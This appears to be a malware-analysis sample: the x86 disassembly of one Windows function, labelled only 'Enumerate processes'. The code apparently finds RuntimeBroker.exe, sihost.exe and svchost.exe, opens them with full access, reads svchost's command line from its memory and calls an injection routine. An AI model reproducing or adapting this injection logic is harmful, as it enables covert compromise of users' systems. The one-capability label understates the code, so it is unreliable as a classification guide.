Function at 0x1000b110
Capabilities:
Enumerate processes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004595b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x958
mov eax, dword [0x1005fa60]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x954], esi
cmp esi, 0xffffffff
je 0x1000b18b
lea eax, [ebp - 0x708]
mov dword [ebp - 0x708], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1000b192
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1000b766
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x954]
mov edi, edi
lea eax, [ebp - 0x6e4]
push str.RuntimeBroker.exe
push eax
call fcn.100181d2
add esp, 8
test eax, eax
jne 0x1000b403
mov edi, dword [ebp - 0x700]
push str.OKAGuXlbfMJtcQuGKBTklnVQnbjGSGTLNtD0WKU02kF40LQViMl3OIsTd2L4PeCgGHeQ
push 4
mov dword [ebp - 0x958], edi
call fcn.10011650
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
add esp, 8
push edi
push 0
push 0x2000000
call eax
mov edi, eax
test edi, edi
je 0x1000b3e8
push str.F5GZW1uEkSerABTH6KFRlVrRRd1eEuvMgYqlLBQmbRafggXzIFp_rFL0
push 4
call fcn.10011650
push edi
push dword [ebp - 0x958]
push str.BGPo3za2yDHeculpXdJu9RdbMxHstbu3FVicEKiJILOGTWeWHGs5UII820E05vKsx6R21iLsg
push 4
call fcn.10011650
xor eax, eax
mov dword [ebp - 0x70c], 0
mov word [ebp - 0x48], ax
xorps xmm0, xmm0
mov dword [ebp - 0x2e], eax
mov word [ebp - 0x2a], ax
lea eax, [ebp - 0x48]
push 0x10
push eax
push 0x10060dd8
movdqu xmmword [ebp - 0x46], xmm0
movq qword [ebp - 0x36], xmm0
call fcn.10012000
add esp, 0x24
mov byte [ebp - 0x28], 0
lea eax, [ebp - 0x28]
mov word [ebp - 0x17], 0
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x27], xmm0
push 0x13
push eax
push 0x10060d90
call fcn.10011ea0
mov eax, dword [0x10066a5c]
add esp, 0xc
test eax, eax
jne 0x1000b2ac
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call fcn.10012c90
add esp, 8
mov dword [0x10066a5c], eax
test eax, eax
jne 0x1000b2ac
push str.InjectToXNUSubTargetProc
push str.eox4iGP2NZPBBxrLY2pSQnvVZSXbpCGSkTXWlV4H59LwEk0zKqa9huHozHmziGKsz0
push eax
call fcn.10011650
add esp, 0xc
jmp 0x1000b742
push 0
lea ecx, [ebp - 0x70c]
push ecx
push edi
call eax
cmp eax, 0x7a
je 0x1000b2d2
push eax
push str.4EVQFoA41lEM7ZO5xmiUkAyLIagYc8EGRly_ZO1tYrM82hWlKvELeO4eCXX_XXlsVvREr35FMVO8PGw
push 0
call fcn.10011650
add esp, 0xc
jmp 0x1000b742
mov eax, dword [ebp - 0x70c]
lea ecx, [eax + eax]
xor eax, eax
add ecx, 1
setb al
neg eax
or eax, ecx
push eax
call fcn.100193aa
mov esi, eax
add esp, 4
test esi, esi
jne 0x1000b30f
push str.vGCIXpKeLKO3UUz4bG0mqikm45dERbtzF_5mRzBaheRfdVJNO2ptkFVj5Vzh84o5UjIJ49B
push eax
call fcn.10011650
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 8
jmp 0x1000b742
push esi
lea eax, [ebp - 0x70c]
push eax
push edi
call dword [0x10066a5c]
test eax, eax
je 0x1000b32c
push eax
push str.rwiBEy30k1VlgIftaffMOd5CoQ4wHUq7amKFXmTgDyYi2DuGsNCfPNy8jVTKRSpkTWuRlbWcdcJw9P9WkkcGdTY
push 0
jmp 0x1000b334
push esi
push str.m9sNuivtEFojqodv_gw6G7QVW_kb8cxVSQuqachoUFZ0Hn0RorMszKN
push 4
call fcn.10011650
add esp, 0xc
xor eax, eax
mov word [ebp - 0xac], ax
push 0x30
push eax
lea eax, [ebp - 0xaa]
push eax
call fcn.1001af60
add esp, 0xc
lea eax, [ebp - 0xac]
push 0x19
push eax
push 0x10060d74
call fcn.10012000
add esp, 0xc
xor eax, eax
mov word [ebp - 0x78], ax
push 0x2c
push eax
lea eax, [ebp - 0x76]
push eax
call fcn.1001af60
add esp, 0xc
lea eax, [ebp - 0x78]
push 0x17
push eax
push 0x10060d38
call fcn.10012000
add esp, 0xc
lea eax, [ebp - 0xac]
push 0x18
push eax
push esi
call fcn.100191fb
add esp, 0xc
test eax, eax
je 0x1000b3be
push 0x16
lea eax, [ebp - 0x78]
push eax
push esi
call fcn.100191fb
add esp, 0xc
test eax, eax
jne 0x1000b3d4
push str.iNpSSlfJAfdrgyDeGTEdsUd3djWT3QLdiC15ShOr0WRliqVkVF_00sWVBGZf9pWNS_2cRSj6Y3_dhr2sXeUxd_MPixGgwferOEthVdte6okyCjfE1T015_MLFUR2no
push 4
call fcn.10011650
add esp, 8
mov ecx, edi
call fcn.1000abc0
push esi
call fcn.10018b91
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
jmp 0x1000b73f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.dGBtF3Mmi7EuVJl_rag6tbdfZtFcSkkKlW7oBTfyrpnjSY6hPfnYZezM2EsdaD65hHZ7Vjyl61CU
push 4
call fcn.10011650
add esp, 0xc
jmp 0x1000b742
lea eax, [ebp - 0x6e4]
push str.sihost.exe
push eax
call fcn.100181d2
add esp, 8
test eax, eax
jne 0x1000b467
mov edi, dword [ebp - 0x700]
push str.U7qLNuDOJv753n82WUPioW4gBH6kn5UIVKKd2L0muXceTN9xcSC8U2mRryY
push 4
mov dword [ebp - 0x958], edi
call fcn.10011650
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
add esp, 8
push edi
push 0
push 0x2000000
call eax
mov edi, eax
test edi, edi
je 0x1000b742
push str.NoxaUHXTWmoHpyUJxKdUU7u0VtRzQnBxhufftVPeyaolpShIEgxO1YlqQ
push 4
call fcn.10011650
push edi
push dword [ebp - 0x958]
jmp 0x1000b729
lea eax, [ebp - 0x6e4]
push str.svchost.exe
push eax
call fcn.100181d2
add esp, 8
test eax, eax
jne 0x1000b748
mov eax, dword [ebp - 0x700]
push eax
push 0
push 0x410
mov dword [ebp - 0x95c], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 0x958], edi
test edi, edi
je 0x1000b742
push str.NtQueryInformationProcess
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000b73f
push 0
push 0x18
lea ecx, [ebp - 0x730]
xorps xmm0, xmm0
push ecx
push 0
push edi
movdqa xmmword [ebp - 0x730], xmm0
movq qword [ebp - 0x720], xmm0
call eax
test eax, eax
jne 0x1000b73f
push 0x40e
push eax
mov word [ebp - 0x4c0], ax
lea eax, [ebp - 0x4be]
push eax
call fcn.1001af60
add esp, 0xc
lea eax, [ebp - 0x950]
push 0
push 0x1d8
push eax
push dword [ebp - 0x72c]
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 0x48
lea eax, [ebp - 0x778]
push eax
push dword [ebp - 0x940]
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movzx eax, word [ebp - 0x738]
push 0
push eax
lea eax, [ebp - 0x4c0]
push eax
push dword [ebp - 0x734]
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x4c0]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1000b570
sub eax, edx
sar eax, 1
je 0x1000b73f
xor ecx, ecx
mov dword [ebp - 0x4c4], 7
cmp word [ebp - 0x4c0], cx
mov word [ebp - 0x4d8], cx
cmove eax, ecx
mov dword [ebp - 0x4c8], 0
push eax
lea eax, [ebp - 0x4c0]
push eax
lea ecx, [ebp - 0x4d8]
call fcn.100085a0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x4d8]
cmp dword [ebp - 0x4c4], 8
lea edx, [ebp - 0x4d8]
mov eax, dword [ebp - 0x4c8]
lea esi, [ebp - 0x4d8]
cmovae ecx, dword [ebp - 0x4d8]
cmovae edx, dword [ebp - 0x4d8]
cmovae esi, dword [ebp - 0x4d8]
lea eax, [ecx + eax*2]
cmp edx, eax
je 0x1000b64a
mov ecx, eax
xor edi, edi
sub ecx, edx
inc ecx
shr ecx, 1
cmp edx, eax
cmova ecx, edi
mov dword [ebp - 0x960], ecx
test ecx, ecx
je 0x1000b644
sub edx, esi
mov dword [ebp - 0x964], edx
movzx eax, word [edx + esi]
push eax
call fcn.100191ea
mov edx, dword [ebp - 0x964]
lea esi, [esi + 2]
inc edi
mov word [esi - 2], ax
add esp, 4
cmp edi, dword [ebp - 0x960]
jne 0x1000b621
mov edi, dword [ebp - 0x958]
cmp dword [ebp - 0x4c4], 8
lea eax, [ebp - 0x4d8]
cmovae eax, dword [ebp - 0x4d8]
push eax
push dword [ebp - 0x95c]
lea eax, [ebp - 0x6e4]
push eax
push str.Yu1wUHMdmXnhSgDMnqTmWbWjKu3OMdrf3kQlLFbrV5hInizjKAOG5K2m7MgpGceT_hYczaTWDTM1HF4q4SGSWmZGt7NNIoz0X598ZfQx1c
push 4
call fcn.10011650
add esp, 0x14
lea ecx, [ebp - 0x4d8]
push 0x11
sub esp, 8
call fcn.1000c190
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
cmp eax, 0xffffffff
jne 0x1000b6b0
call esi
lea ecx, [ebp - 0x4d8]
mov dword [ebp - 4], 0xffffffff
call fcn.10006460
jmp 0x1000b742
call esi
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x4c4], 8
jb 0x1000b6d0
push dword [ebp - 0x4d8]
call fcn.10018fac
add esp, 4
xor eax, eax
mov dword [ebp - 0x4c4], 7
push str.RsyKVCsTerW_qiJ1lJONmRu2YVl6wmlsPKsgZ9edT1XPjNVffNYqx4dW499B
push 4
mov dword [ebp - 0x4c8], 0
mov word [ebp - 0x4d8], ax
call fcn.10011650
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
add esp, 8
push dword [ebp - 0x95c]
push 0
push 0x2000000
call eax
mov edi, eax
test edi, edi
je 0x1000b742
push str.NoxaUHXTWmoHpyUJxKdUU7u0VtRzQnBxhufftVPeyaolpShIEgxO1YlqQ
push 4
call fcn.10011650
push edi
push dword [ebp - 0x95c]
push str.JoTqUl7cOsf9F7sT4XYt4J6xR1aEhgOYrDtAaqGCS2J6rAAYhMR88Mk5HndQii8O7IzE0GV4A
push 4
call fcn.10011650
add esp, 0x18
mov ecx, edi
call fcn.1000abc0
push edi
call esi
mov edi, dword [ebp - 0x954]
lea eax, [ebp - 0x708]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1000b1a0
push edi
call esi
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1001811f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret